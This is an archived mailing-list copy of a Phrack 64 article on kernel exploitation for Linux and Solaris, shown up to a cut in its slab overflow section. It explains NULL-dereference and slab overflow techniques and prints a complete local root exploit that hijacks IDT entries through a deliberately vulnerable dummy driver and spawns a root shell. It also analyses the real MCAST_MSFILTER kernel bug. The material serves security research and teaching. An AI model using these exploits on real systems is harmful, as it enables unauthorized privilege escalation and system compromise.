

[Full-disclosure] PHRACK 64: ATTACKING THE CORE

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2007-05/msg00480.html>

- *From:* <auto294156@xxxxxxxxxxxx>
- *Date:* Fri, 25 May 2007 09:42:58 -0400

```
--
_/B\_/W\
(* *) Phrack #64 file 6 (* *)
| - | | - |
|| Attacking the Core : Kernel Exploiting Notes ||
|| | |
|| By sgrakkyu <sgrakkyu@xxxxxxxxxxxx> ||
|| twizi <twizi@xxxxxxxx> ||
|| | |
( _____ )
```

==Phrack Inc.==

Volume 0x00, Issue 0x00, Phile #0x00 of 0x00

```
|=-----=[ Attacking the Core : Kernel Exploiting Notes ]=-----
-----=|
|=-----[ sgrakkyu@xxxxxxxxxxxx and twizi@xxxxxxxx ]=-----
-----=|
|=-----=[ February 12 2007 ]=-----
-----=|
```

-----[Index

1 - The playground

- 1.1 - Kernel/Userland virtual address space layouts
- 1.2 - Dummy device driver and real vulnerabilities
- 1.3 - Notes about information gathering

2 - Kernel vulnerabilities and bugs

[Full-disclosure] PHRACK 64: ATTACKING THE CORE

- 2.1 – NULL/userspace dereference vulnerabilities
 - 2.1.1 – NULL/userspace dereference vulnerabilities : null_deref.c
- 2.2 – The Slab Allocator
 - 2.2.1 – Slab overflow vulnerabilities
 - 2.2.2 – Slab overflow exploiting : MCAST_MSFILTER
 - 2.2.3 – Slab overflow vulnerabilities : Solaris notes
- 2.3 – Stack overflow vulnerabilities
 - 2.3.1 – UltraSPARC exploiting
 - 2.3.2 – A reliable Solaris/UltraSPARC exploit
- 2.4 – A primer on logical bugs : race conditions
 - 2.4.1 – Forcing a kernel path to sleep
 - 2.4.2 – AMD64 and race condition exploiting: sendmsg
- 3 – Advanced scenarios
 - 3.1 – PaX KERNEXEC & separated kernel/user space
 - 3.2 – Remote Kernel Exploiting
 - 3.2.1 – The Network Contest
 - 3.2.2 – Stack Frame Flow Recovery
 - 3.2.3 – Resources Restoring
 - 3.2.4 – Copying the Stub
 - 3.2.5 – Executing Code in Userspace Context [Gimme Life!]
 - 3.2.6 – The Code : sendtws.c
- 4 – Final words
- 5 – References
- 6 – Sources : drivers and exploits [stuff.tgz]

-----[Intro

The latest years have seen an increasing interest towards kernel based exploitation. The growing diffusion of "security prevention" approaches (no-exec stack, no-exec heap, ascii-armed library mmaping, mmap/stack and generally virtual layout randomization, just to point out the most known) has/is made/making userland exploitation harder and harder. Moreover there has been an extensive work of auditing on application codes, so that new bugs are generally more complex to handle and exploit.

The attentions has so turned towards the core of the operating systems, towards kernel (in)security. This paper will attempt to give an insight

into kernel exploitation, with examples for IA-32, UltraSPARC and AMD64.

Linux and Solaris will be the target operating systems. More precisely, an architecture on turn will be the main covered for the three main exploiting demonstration categories : slab (IA-32), stack (UltraSPARC) and race condition (AMD64). The details explained in those 'deep focus' apply, thou, almost in toto to all the others exploiting scenarios.

Since exploitation examples are surely interesting but usually do not show the "effective" complexity of taking advantages of vulnerabilities, a couple of working real-life exploits will be presented too.

-----[1 - The playground

Let's just point out that, before starting : "bruteforcing" and "kernel" aren't two words that go well together. One can't just crash over and over the kernel trying to guess the right return address or the good alignment. An error in kernel exploitation leads usually to a crash, panic or unstable state of the operating system. The "information gathering" step is so definitely important, just like a good knowledge of the operating system layout.

---[1.1 - Kernel/Userland virtual address space layouts

From the userland point of view, we don't see almost anything of the kernel layout nor of the addresses at which it is mapped [there are indeed a couple of information that we can gather from userland, and we're going to point them out after]. Netherless it is from the userland that we have to start to carry out our attack and so a good knowledge of the kernel virtual memory layout (and implementation) is, indeed, a must.

There are two possible address space layouts :

- kernel space on behalf of user space (kernel page tables are replicated over every process; the virtual address space is splitted in two parts, one for the kernel and one for the processes).
Kernels running on x86, AMD64 and sun4m/sun4d architectures usually

have
this kind of implementation.

– separated kernel and process address space (both can use the whole address space). Such an implementation, to be efficient, requires a dedicated support from the underlaining architecture. It is the case of the primary and secondary context register used in conjunction with the ASI identifiers on the UltraSPARC (sun4u/sun4v) architecture.

To see the main advantage (from an exploiting perspective) of the first approach over the second one we need to introduce the concept of "process context". Any time the CPU is in "supervisor" mode (the well-known ring0 on ia-32), the kernel path it is executing is said to be in interrupt context if it hasn't a backing process. Code in interrupt context can't block (for example waiting for demand paging to bring in a referenced userspace page): the scheduler is unable to know what to put to sleep (and what to wake up after).

Code running in process context has instead an associated process (usually the one that "generated" the kernel code path, for example issuing a systemcall) and is free to block/sleep (and so, it's free to reference the userland virtual address space).

This is a good news on systems which implement a combined user/kernel address space, since, while executing at kernel level, we can dereference (or jump to) userland addresses. The advantages are obvious (and many) :

- we don't have to "guess" where our shellcode will be and we can write it in C (which makes easier the writing, if needed, of long and somehow complex recovery code)
- we don't have to face the problem of finding a suitable large and safe place to store it.
- we don't have to worry about no-exec page protection (we're free to mmap/mremap as we wish, and, obviously, load directly the code in .text segment, if we don't need to patch it at runtime).

– we can mmap large portions of the address space and fill them with

nops or nop-alike code/data (useful when we don't completely control the return address or the dereference)

– we can easily take advantage of the so-called "NULL pointer dereference bugs" ("technically" described later on)

The space left to the kernel is so limited in size : on the x86 architecture it is 1 Gigabyte on Linux and it fluctuates on Solaris depending on the amount of physical memory (check `usr/src/uts/i86pc/os/startup.c` inside Opensolaris sources).

This fluctuation turned out to be necessary to avoid as much as possible virtual memory ranges wasting and, at the same time, avoid pressure over the space reserved to the kernel.

The only limitation to kernel (and processes) virtual space on systems implementing an userland/kerneland separated address space is given by the architecture (UltraSPARC I and II can reference only 44bit of the whole 64bit addressable space. This VA-hole is placed among `0x0000080000000000` and `0xFFFFF7FFFFFFFF`).

This memory model makes exploitation indeed harder, because we can't directly dereference the userspace. The previously cited NULL pointer

dereferences are pretty much un-exploitable.

Moreover, we can't rely on "valid" userland addresses as a place to store

our shellcode (or any other kernel emulation data), neither we can "return to userspace".

We won't go more in details here with a teorical description of the architectures (you can check the reference manuals at [1], [2] and [3])

since we've preferred to couple the analysis of the architectural and

operating systems internal aspects relevant to exploitation with the effective exploiting codes presentation.

---[1.2 – Dummy device driver and real vulnerabilities

As we said in the introduction, we're going to present a couple of

real
working exploit, hoping to give a better insight into the whole
kernel
exploitation process.
We've written exploit for :

– MCAST_MSFILTER vulnerability [4], used to demonstrate kernel slab
overflow exploiting

– sendmsg vulnerability [5], used to demonstrate an effective race
condition (and a stack overflow on AMD64)

– madwifi SIOCGIWSCAN buffer overflow [21], used to demonstrate a
real
remote exploit for the linux kernel. That exploit was already
released
at [22] before the exit of this paper (which has a more detailed
discussion of it and another 'dummy based' exploit for a more
complex
scenario)

Moreover, we've written a dummy device driver (for Linux and
Solaris) to
demonstrate with examples the techniques presented.
A more complex remote exploit (as previously mentioned) and an
exploit
capable to circumvent Linux with PaX/KERNEXEC (and
userspace/kernelspace
separation) will be presented too.

—[1.3 – Notes about information gathering

Remember when we were talking about information gathering ? Nearly
every
operating systems 'exports' to userland information useful for
developing
and debugging. Both Linux and Solaris (we're not taking in account
now
'security patches') expose readable by the user the list and
addresses of
their exported symbols (symbols that module writer can reference) :
/proc/ksyms on Linux 2.4, /proc/kallsyms on Linux 2.6 and
/dev/ksyms on
Solaris (the first two are text files, the last one is an ELF with
SYMTAB
section).
Those files provide useful information about what is compiled in
inside
the kernel and at what addresses are some functions and structs,
addresses

that we can gather at runtime and use to increase the reliability of our exploit.

But these information could be missing on some environment, the /proc filesystem could be un-mounted or the kernel compiled (along with some security switch/patch) to not export them. This is more a Linux problem than a Solaris one, nowadays. Solaris exports way more information than Linux (probably to aid in debugging without having the sources) to the userland. Every module is shown with its loading address by 'modinfo', the proc interface exports the address of the kernel 'proc_t' struct to the userland (giving a crucial entrypoint, as we will see, for the exploitation on UltraSPARC systems) and the 'kstat' utility lets us investigate on many kernel parameters.

In absence of /proc (and /sys, on Linux 2.6) there's another place we can gather information from, the kernel image on the filesystem. There are actually two possible favourable situations :

- the image is somewhere on the filesystem and it's readable, which is the default for many Linux distributions and for Solaris
- the target host is running a default kernel image, both from installation or taken from repository. In that situation is just a matter of recreating the same image on our system and infere from it. This should be always possible on Solaris, given the patchlevel (taken from 'uname' and/or 'showrev -p'). Things could change if OpenSolaris takes place, we'll see.

The presence of the image (or the possibility of knowing it) is crucial for the KERN_EXEC/separated userspace/kernelspace environment exploitation presented at the end of the paper.

Given we don't have exported information and the careful administrator has removed running kernel images (and, logically, in absence of kernel memory

[Full-disclosure] PHRACK 64: ATTACKING THE CORE

leaks ;)) we've one last resource that can help in exploitation : the architecture.

Let's take the x86 arch, a process running at ring3 may query the logical address and offset/attribute of processor tables GDT,LDT,IDT,TSS :

- through 'sgdt' we get the base address and max offset of the GDT
- through 'sldt' we can get the GDT entry index of current LDT
- through 'sidt' we can get the base address and max offset of IDT
- through 'str' we can get the GDT entry index of the current TSS

The best choice (not the only one possible) in that case is the IDT. The possibility to change just a single byte in a controlled place of it leads to a fully working reliable exploit [*].

[*] The idea here is to modify the MSB of the base_address of an IDT entry and so "hijack" the exception handler. Logically we need a controlled byte overwriting or a partially controlled one with byte value below the 'kernelbase' value, so that we can make it point into the userland portion. We won't go in deeper details about the IDT layout/implementation here, you can find them inside processor manuals [1] and kad's phrack59 article "Handling the Interrupt Descriptor Table" [6]. The NULL pointer dereference exploit presented for Linux implements this technique.

As important as the information gathering step is the recovery step, which aims to leave the kernel in a consistent state. This step is usually performed inside the shellcode itself or just after the exploit has (successfully) taken place, by using /dev/kmem or a loadable module (if possible). This step is logically exploit-dependant, so we will just explain it along with the examples (making a categorization would be pointless).

-----[2 - Kernel vulnerabilities and bugs

We start now with an excursus over the various typologies of kernel

vulnerabilities. The kernel is a big and complex beast, so even if we're going to track down some "common" scenarios, there are a lot of more possible "logical bugs" that can lead to a system compromise.

We will cover stack based, "heap" (better, slab) based and NULL/userspace dereference vulnerabilities. As an example of a "logical bug" a whole chapter is dedicated to race condition and techniques to force a kernel path to sleep/reschedule (along with a real exploit for the sendmsg [4] vulnerability on AMD64).

We won't cover in this paper the range of vulnerabilities related to virtual memory logical errors, since those have been already extensively described and cleverly exploited, on Linux, by iSEC [7] people. Moreover, it's nearly useless, in our opinion, to create a "crafted" demonstrative vulnerable code for logical bugs and we weren't aware of any `_public_` vuln of this kind on Solaris. If you are, feel free to submit it, we'll be happy to work over ;).

---[2.1 – NULL/userspace dereference vulnerabilities

This kind of vulnerability derives from the using of a pointer not-initialized (generally having a NULL value) or trashed, so that it points inside the userspace part of the virtual memory address space. The normal behaviour of an operating system in such a situation is an oops or a crash (depending on the degree of severity of the dereference) while attempting to access un-mapped memory.

But we can, obviously, mmap that memory range and let the kernel find "valid" malicious data. That's more than enough to gain root priviledges. We can delineate two possible scenarios :

- instruction pointer modification (direct call/jmp dereference, called function pointers inside a struct, etc)

– "controlled" write on kernelspace

The first kind of vulnerability is really trivial to exploit, it's just a matter of mmapping the referenced page and put our shellcode there. If the dereferenced address is a struct with inside a function pointer (or a chain of struct with somewhere a function pointer), it is just a matter of emulating in userspace those struct, make point the function pointer to our shellcode and let/force the kernel path to call it.

We won't show an example of this kind of vulnerability since this is the "last stage" of any more complex exploit (as we will see, we'll be always trying, when possible, to jump to userspace).

The second kind of vulnerability is a little more complex, since we can't directly modify the instruction pointer, but we've the possibility to write anywhere in kernel memory (with controlled or uncontrolled data).

Let's get a look to that snipped of code, taken from our Linux dummy device driver :

```
< stuff/drivers/linux/dummy.h >
```

```
[...]
```

```
struct user_data_ioctl
{
int size;
char *buffer;
};
```

```
< / >
```

```
< stuff/drivers/linux/dummy.c >
```

```
static int alloc_info(unsigned long sub_cmd)
{
struct user_data_ioctl user_info;
struct info_user *info;
struct user_perm *perm;
```

```
[...]
```

[Full-disclosure] PHRACK 64: ATTACKING THE CORE

```
if(copy_from_user(&user_info,
(void __user*)sub_cmd,
sizeof(struct user_data_ioctl)))
return -EFAULT;

if(user_info.size > MAX_STORE_SIZE) [1]
return -ENOENT;

info = kmalloc(sizeof(struct info_user), GFP_KERNEL);
if(!info)
return -ENOMEM;

perm = kmalloc(sizeof(struct user_perm), GFP_KERNEL);
if(!perm)
return -ENOMEM;

info->timestamp = 0;//sched_clock();
info->max_size = user_info.size;
info->data = kmalloc(user_info.size, GFP_KERNEL); [2]
/* unchecked alloc */

perm->uid = current->uid;
info->data->perm = perm; [3]

glob_info = info;

[...]

static int store_info(unsigned long sub_cmd)
{

[...]

glob_info->data->perm->uid = current->uid; [4]

[...]

</>
```

Due to the integer signedness issue at [1], we can pass a huge value to the kmalloc at [2], making it fail (and so return NULL). The lack of checking at that point leaves a NULL value in the info-

data

pointer, which is later used, at [3] and also inside store_info at [4] to save the current uid value.

What we have to do to exploit such a code is simply mmap the zero page

[Full-disclosure] PHRACK 64: ATTACKING THE CORE

(0x00000000 – NULL) at userspace, make the kmalloc fail by passing a negative value and then prepare a 'fake' data struct in the previously mmapped area, providing a working pointers for 'perm' and thus being able to write our 'uid' anywhere in memory.

At that point we have many ways to exploit the vulnerable code (exploiting while being able to write anywhere some arbitrary or, in that case, partially controlled data is indeed limited only by imagination), but it's better to find a "working everywhere" way.

As we said above, we're going to use the IDT and overwrite one of its entries (more precisely a Trap Gate, so that we're able to hijack an exception handler and redirect the code-flow towards userspace). Each IDT entry is 64-bit (8-bytes) long and we want to overflow the 'base_offset' value of it, to be able to modify the MSB of the exception handler routine address and thus redirect it below PAGE_OFFSET (0xc0000000) value.

Since the higher 16 bits are in the 7th and 8th byte of the IDT entry, that one is our target, but we're are writing at [4] 4 bytes for the 'uid' value, so we're going to trash the next entry. It is better to use two adjacent 'seldomly used' entries (in case, for some strange reason, something went bad) and we have decided to use the 4th and 5th entries :
#OF (Overflow Exception) and #BR (BOUND Range Exceeded Exeption).

At that point we don't control completely the return address, but that's not a big problem, since we can mmap a large region of the userspace and fill it with NOPs, to prepare a comfortable and safe landing point for our exploit. The last thing we have to do is to restore, once we get the control flow at userspace, the original IDT entries, hardcoding the values inside the shellcode stub or using an lkm or /dev/kmem patching code.

At that point our exploit is ready to be launched for our first 'rootshell'.

As a last (indeed obvious) note, NULL dereference vulnerabilities

are
only exploitable on 'combined userspace and kernelspace' memory
model
operating systems.

---[2.1.1 – NULL/userspace dereference vulnerabilities :
null_deref.c

< stuff/expl/null_deref.c >

```
#include <sys/ioctl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>

#include "dummy.h"

#define DEVICE "/dev/dummy"
#define NOP 0x90
#define STACK_SIZE 8192

// #define STACK_SIZE 4096

#define PAGE_SIZE 0x1000
#define PAGE_OFFSET 12
#define PAGE_MASK ~(PAGE_SIZE - 1)

#define ANTANI "antani"

uint32_t bound_check[2]={0x00,0x00};
extern void do_it();
uid_t UID;

void do_bound_check()
{
asm volatile("bound %1, %0\t\n" : "=m"(bound_check) :
"a"(0xFF));
}

/* simple shell spown */
void get_root()
{
char *argv[] = { "/bin/sh", "--noprofile", "--norc", NULL };
char *envp[] = { "TERM=linux", "PS1=y0y0\\$",
"BASH_HISTORY=/dev/null",
```

[Full-disclosure] PHRACK 64: ATTACKING THE CORE

```
"HISTORY=/dev/null", "history=/dev/null",  
  
"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin"  
, NULL };  
  
execve("/bin/sh", argv, envp);  
fprintf(stderr, "[**] Execve failed\n");  
exit(-1);  
}
```

/* this function is called by fake exception handler: take 0 uid
and restore trashed entry */

```
void give_priv_and_restore(unsigned int thread)
```

```
{  
int i;  
unsigned short addr;  
unsigned int* p = (unsigned int*)thread;
```

```
/* simple trick */
```

```
for(i=0; i < 0x100; i++)  
if( (p[i] == UID) && (p[i+1] == UID) && (p[i+2] == UID) &&  
(p[i+3] == UID) )  
p[i] = 0, p[i+1] = 0;
```

```
}
```

```
#define CODE_SIZE 0x1e
```

```
void dummy(void)
```

```
{  
asm("do_it:"  
"addl $6, (%esp);" // after bound exception EIP points again  
to the bound instruction  
"pusha;"  
"movl %%esp, %%eax;"  
"andl %0, %%eax;"  
"movl (%%eax), %%eax;"  
"add $100, %%eax;"  
"pushl %%eax;"  
"movl $give_priv_and_restore, %%ebx;"  
"call *%%ebx;"  
"popl %%eax;"  
"popa;"  
"iret;"  
"nop;nop;nop;nop;"  
:: "i" ( ~(STACK_SIZE - 1) )  
);
```

```
return;  
}
```

```
struct idt_struct  
{  
    uint16_t limit;  
    uint32_t base;  
} __attribute__((packed));
```

```
static char *allocate_frame_chunk(unsigned int base_addr,  
    unsigned int size,  
    void* code_addr)  
{  
    unsigned int round_addr = base_addr & PAGE_MASK;  
    unsigned int diff = base_addr - round_addr;  
    unsigned int len = (size + diff + (PAGE_SIZE-1)) &  
    PAGE_MASK;
```

```
    char *map_addr = mmap((void*)round_addr,  
        len,  
        PROT_READ|PROT_WRITE,  
        MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,  
        0,  
        0);  
    if(map_addr == MAP_FAILED)  
        return MAP_FAILED;
```

```
    if(code_addr)  
    {  
        memset(map_addr, NOP, len);  
        memcpy(map_addr, code_addr, size);  
    }  
    else  
        memset(map_addr, 0x00, len);
```

```
    return (char*)base_addr;  
}
```

```
inline unsigned int *get_zero_page(unsigned int size)  
{  
    return (unsigned int*)allocate_frame_chunk(0x00000000, size,  
    NULL);  
}
```

```
#define BOUND_ENTRY 5  
unsigned int get_BOUND_address()  
{  
    struct idt_struct idt;
```

[Full-disclosure] PHRACK 64: ATTACKING THE CORE

```
asm volatile("sidt %0\t\n" : "=m"(idt));
return idt.base + (8*BOUND_ENTRY);
}

unsigned int prepare_jump_code()
{
    UID = getuid(); /* set global uid */
    unsigned int base_address = ((UID & 0x0000FF00) << 16) + ((UID &
    0xFF) << 16);
    printf("Using base address of: 0x%08x-0x%08x\n", base_address,
    base_address + 0x20000 - 1);
    char *addr = allocate_frame_chunk(base_address, 0x20000, NULL);
    if(addr == MAP_FAILED)
    {
        perror("unable to mmap jump code");
        exit(-1);
    }

    memset((void*)base_address, NOP, 0x20000);
    memcpy((void*)(base_address + 0x10000), do_it, CODE_SIZE);

    return base_address;
}

int main(int argc, char *argv[])
{
    struct user_data_ioctl user_ioctl;
    unsigned int *zero_page, *jump_pages, save_ptr;

    zero_page = get_zero_page(PAGE_SIZE);
    if(zero_page == MAP_FAILED)
    {
        perror("mmap: unable to map zero page");
        exit(-1);
    }

    jump_pages = (unsigned int*)prepare_jump_code();

    int ret, fd = open(DEVICE, O_RDONLY), alloc_size;

    if(argc > 1)
        alloc_size = atoi(argv[1]);
    else
        alloc_size = PAGE_SIZE-8;

    if(fd < 0)
    {
        perror("open: dummy device");
        exit(-1);
    }
}
```

```
memset(&user_ioctl, 0x00, sizeof(struct user_data_ioctl));
user_ioctl.size = alloc_size;

ret = ioctl(fd, KERN_IOCTL_ALLOC_INFO, &user_ioctl);
if(ret < 0)
{
perror("ioctl KERN_IOCTL_ALLOC_INFO");
exit(-1);
}

/* save old struct ptr stored by kernel in the first word */
save_ptr = *zero_page;

/* compute the new ptr inside the IDT table between BOUND and
INVALIDOP exception */
printf("IDT bound: %x\n", get_BOUND_address());
*zero_page = get_BOUND_address() + 6;

user_ioctl.size=strlen(ANTANI)+1;
user_ioctl.buffer=ANTANI;

ret = ioctl(fd, KERN_IOCTL_STORE_INFO, &user_ioctl);

getchar();
do_bound_check();

/* restore trashed ptr */
*zero_page = save_ptr;

ret = ioctl(fd, KERN_IOCTL_FREE_INFO, NULL);
if(ret < 0)
{
perror("ioctl KERN_IOCTL_FREE_INFO");
exit(-1);
}

get_root();

return 0;
}

</>
```

---[2.2 – The Slab Allocator

The main purpose of a slab allocator is to fasten up the allocation/deallocation of heavily used small 'objects' and to reduce the fragmentation that would derive from using the page-based one. Both Solaris and Linux implement a slab memory allocator which derives from the one described by Bonwick [8] in 1994 and implemented in Solaris 2.4.

The idea behind is, basically : objects of the same type are grouped together inside a cache in their constructed form. The cache is divided in 'slabs', consisting of one or more contiguous page frames. Everytime the Operating Systems needs more objects, new page frames (and thus new 'slabs') are allocated and the object inside are constructed. Whenever a caller needs one of this objects, it gets returned an already prepared one, that it has only to fill with valid data. When an object is 'freed', it doesn't get destructed, but simply returned to its slab and marked as available.

Caches are created for the most used objects/structs inside the operating system, for example those representing inodes, virtual memory areas, etc. General-purpose caches, suitable for small memory allocations, are created too, one for each power of two, so that internal fragmentation is guaranteed to be at least below 50%. The Linux kmalloc() and the Solaris kmem_alloc() functions use exactly those latter described caches. Since it is up to the caller to 'clean' the object returned from a slab (which could contain 'dead' data), wrapper functions that return zeroed memory are usually provided too (kzalloc(), kmem_zalloc()).

An important (from an exploiting perspective) 'feature' of the slab allocator is the 'bufctl', which is meaningful only inside a free object, and is used to indicate the 'next free object'. A list of free object that behaves just like a LIFO is thus created, and we'll see in a short that it is crucial for reliable exploitation.

To each slab is associated a controlling struct (kmem_slab_t on Solaris, slab_t on Linux) which is stored inside the slab (at the start, on Linux, at the end, on Solaris) if the object size is below a given limit (1/8 of the page), or outside it. Since there's a 'cache' per 'object type', it's not guaranteed at all that those 'objects' will stay exactly in a page boundary inside the slab. That 'free' space (space not belonging to any object, nor to the slab controlling struct) is used to 'color' the slab, respecting the object alignment (if 'free' < 'alignment' no coloring takes place).

The first object is thus saved at a 'different offset' inside the slab, given from 'color value' * 'alignment', (and, consequently, the same happens to all the subsequent objects), so that object of the same size in different slabs will less likely end up in the same hardware cache lines.

We won't go more in details about the Slab Allocator here, since it is well and extensively explained in many other places, most notably at [9], [10], and [11], and we move towards effective exploitation. Some more implementation details will be given, though, along with the exploiting techniques explanation.

---[2.2.1 – Slab overflow vulnerabilities

NOTE: as we said before, Solaris and Linux have two different functions to alloc from the general purpose caches, kmem_alloc() and kmalloc(). That two functions behave basically in the same manner, so, from now on we'll just use 'kmalloc' and 'kmalloc'ed memory' in the discussion, referring though to both the operating systems implementation.

A slab overflow is simply the writing past the buffer boundaries of a kmalloc'ed object. The result of this overflow can be :

[Full-disclosure] PHRACK 64: ATTACKING THE CORE

- overwriting an adjacent in-slab object.
- overwriting a page next to the slab one, in the case we're overwriting past the last object.
- overwriting the control structure associated with the slab (Solaris only)

The first case is the one we're going to show an exploit for. The main idea on such a situation is to fill the slabs (we can track the slab status thanks to `/proc/slabinfo` on Linux and `kstat -n 'cache_name'` on Solaris) so that a new one is necessary. We do that to be sure that we'll have a 'controlled' `bufctl` : since the whole slabs were full, we got a new page, along with a 'fresh' `bufctl` pointer starting from the first object.

At that point we alloc two objects, free the first one and trigger the vulnerable code : it will request a new object and overwrite right into the previously allocated second one. If a pointer inside this second object is stored and then used (after the overflow) it is under our control. This approach is very reliable.

The second case is more complex, since we haven't an object with a pointer or any modifiable data value of interest to overwrite into. We still have one chance, thou, using the page frame allocator. We start eating a lot of memory requesting the kind of 'page' we want to overflow into (for example, tons of `filedescriptor`), putting the memory under pressure. At that point we start freeing a couple of them, so that the total amount counts for a page. At that point we start filling the slab so that a new page is requested. If we've been lucky the new page is going to be just before one of the previously allocated ones and we've now the chance to overwrite it.

The main point affecting the reliability of such an exploit is :

- it's not trivial to 'isolate' a given struct/data to mass alloc at the

first step, without having also other kernel structs/data
growing
together with.

An example will clarify : to allocate tons of file descriptor
we need
to create a large amount of threads. That translates in the
allocation
of all the relative control structs which could end up placed
right
after our overflowing buffer.

The third case is possible only on Solaris, and only on slabs which
keep
objects smaller than 'page_size >> 3'. Since Solaris keeps the
kmem_slab
struct at the end of the slab we can use the overflow of the last
object
to overwrite data inside it.

In the latter two 'typology' of exploit presented we have to take in
account slab coloring. Both the operating systems store the 'next
color
offset' inside the cache descriptor, and update it at every slab
allocation (let's see an example from OpenSolaris sources) :

```
< usr/src/uts/common/os/kmem.c >
```

```
static kmem_slab_t *  
kmem_slab_create(kmem_cache_t *cp, int kmflag)  
{  
[...]  
size_t color, chunks;  
[...]  
color = cp->cache_color + cp->cache_align;  
if (color > cp->cache_maxcolor)  
color = cp->cache_mincolor;  
cp->cache_color = color;  
  
< / >
```

'mincolor' and 'maxcolor' are calculated at cache creation and
represent
the boundaries of available caching :

```
# uname -a  
SunOS principessa 5.9 Generic_118558-34 sun4u sparc SUNW,Ultra-5_10  
# kstat -n file_cache | grep slab  
slab_alloc 280  
slab_create 2  
slab_destroy 0  
slab_free 0
```

```
slab_size 8192
# kstat -n file_cache | grep align
align 8
# kstat -n file_cache | grep buf_size
buf_size 56
# mdb -k
Loading modules: [ unix krtld genunix ip usba nfs random ptm ]

::sizeof kmem_slab_t

sizeof (kmem_slab_t) = 0x38

::kmem_cache ! grep file_cache

00000300005fed88 file_cache 0000 000000 56
290

00000300005fed88::print kmem_cache_t cache_mincolor

cache_mincolor = 0

00000300005fed88::print kmem_cache_t cache_maxcolor

cache_maxcolor = 0x10

00000300005fed88::print kmem_cache_t cache_color

cache_color = 0x10

::quit
```

As you can see, from kstat we know that 2 slabs have been created and we know the alignment, which is 8. Object size is 56 bytes and the size of the in-slab control struct is 56, too. Each slab is 8192, which, modulo 56 gives out exactly 16, which is the maxcolor value (the color range is thus 0 – 16, which leads to three possible coloring with an alignment of 8).

Based on the previous snippet of code, we know that first allocation had a coloring of 8 (mincolor == 0 + align == 8), the second one of 16 (which is the value still recorded inside the kmem_cache_t). If we were for exhausting this slab and get a new one we would know for sure that the coloring would be 0.

Linux uses a similar 'circular' coloring too, just look forward for 'kmem_cache_t'→colour_next setting and incrementation.

Both the operating systems don't decrement the color value upon freeing of a slab, so that has to be taken in account too (easy to do on Solaris, since slab_create is the maximum number of slabs created).

—[2.2.2 – Slab overflow exploiting : MCAST_MSFILTER

Given the technical basis to understand and exploit a slab overflow, it's time for a practical example. We're presenting here an exploit for the MCAST_MSFILTER [4] vulnerability found by iSEC people :

< linux-2.4.24/net/ipv4/ip_sockglue.c >

```
case MCAST_MSFILTER:
{
struct sockaddr_in *psin;
struct ip_msfilter *msf = 0;
struct group_filter *gsf = 0;
int msize, i, ifindex;

if (optlen < GROUP_FILTER_SIZE(0))
goto e_inval;
gsf = (struct group_filter *)kmalloc(optlen,GFP_KERNEL); [2]
if (gsf == 0) {
err = -ENOBUFS;
break;
}
err = -EFAULT;
if (copy_from_user(gsf, optval, optlen)) { [3]
goto mc_msf_out;
}
if (GROUP_FILTER_SIZE(gsf->gf_numsrc) < optlen) { [4]
err = EINVAL;
goto mc_msf_out;
}
msize = IP_MSFILTER_SIZE(gsf->gf_numsrc); [1]
msf = (struct ip_msfilter *)kmalloc(msize,GFP_KERNEL); [7]
if (msf == 0) {
err = -ENOBUFS;
goto mc_msf_out;
}
```

[...]

```
msf->imsf_multiaddr = psin->sin_addr.s_addr;
msf->imsf_interface = 0;
msf->imsf_fmode = gsf->gf_fmode;
msf->imsf_numsrc = gsf->gf_numsrc;
err = -EADDRNOTAVAIL;
for (i=0; i<gsf->gf_numsrc; ++i) { [5]
psin = (struct sockaddr_in *)&gsf->gf_slist[i];

if (psin->sin_family != AF_INET) [8]
goto mc_msf_out;
msf->imsf_slist[i] = psin->sin_addr.s_addr; [6]
```

[...]

```
mc_msf_out:
if (msf)
kfree(msf);
if (gsf)
kfree(gsf);
break;
```

[...]

< / >

< linux-2.4.24/include/linux/in.h >

```
#define IP_MSFILTER_SIZE(numsrc) \ [1]
(sizeof(struct ip_msfilter) - sizeof(__u32) \
+ (numsrc) * sizeof(__u32))
```

[...]

```
#define GROUP_FILTER_SIZE(numsrc) \ [4]
(sizeof(struct group_filter) - sizeof(struct
__kernel_sockaddr_storage) \
+ (numsrc) * sizeof(struct __kernel_sockaddr_storage))
```

< / >

The vulnerability consist of an integer overflow at [1], since we control the gsf struct as you can see from [2] and [3]. The check at [4] proved to be, initially, a problem, which was resolved thanks to the slab property of not cleaning objects on free (back on that in a short). The for loop at [5] is where we effectively do the overflow, by

writing,
at [6], the 'psin->sin_addr.s_addr' passed inside the gsf struct
over the
previously allocated msf [7] struct (kmalloc'ed with bad calculated
'msize' value).
This for loop is a godsend, because thanks to the check at [8] we
are able
to avoid the classical problem with integer overflow derived bugs
(that is
writing _a lot_ after the buffer due to the usually huge value used
to
trigger the overflow) and exit cleanly through mc_msf_out.

As explained before, while describing the 'first exploitation
approach', we
need to find some object/data that gets kmalloc'ed in the same slab
and
which has inside a pointer or some crucial-value that would let us
change
the execution flow.

We found a solution with the 'struct shm_id_kernel' :

< linux-2.4.24/ipc/shm.c >

```
struct shm_id_kernel /* private to the kernel */
{
    struct kern_ipc_perm shm_perm;
    struct file * shm_file;
    int id;
    [...]
};

[...]

asmlinkage long sys_shmget (key_t key, size_t size, int shmflg)
{
    struct shm_id_kernel *shp;
    int err, id = 0;

    down(&shm_ids.sem);
    if (key == IPC_PRIVATE) {
        err = newseg(key, shmflg, size);
        [...]

    static int newseg (key_t key, int shmflg, size_t size)
    {
        [...]
        shp = (struct shm_id_kernel *) kmalloc (sizeof (*shp),
        GFP_USER);
        [...]
    }
}
```

}

As you see, struct `shmid_kernel` is 64 bytes long and gets allocated using `kmalloc (size=64)` generic cache [we can alloc as many as we want (up to fill the slab) using subsequent 'shmget' calls]. Inside it there is a struct file pointer, that we could make point, thanks to the overflow, to the userland, where we will emulate all the necessary structs to reach a function pointer dereference (that's exactly what the exploit does).

Now it is time to force the `msize` value into being > 32 and ≤ 64 , to make

it being alloc'ed inside the same (size=64) generic cache.

'Good' values for `gsf->gf_numsrc` range from `0x40000005` to `0x4000000c`.

That raises another problem : since we're able to write 4 bytes for every `__kernel_sockaddr_storage` present in the `gsf` struct we need a pretty

large one to reach the 'shm_file' pointer, and so we need to pass a large

'optlen' value.

The `0x40000005 - 0x4000000c` range, thou, makes the

`GROUP_FILTER_SIZE()` macro

used at [4] evaluate to a positive and small value, which isn't large

enough to reach the 'shm_file' pointer.

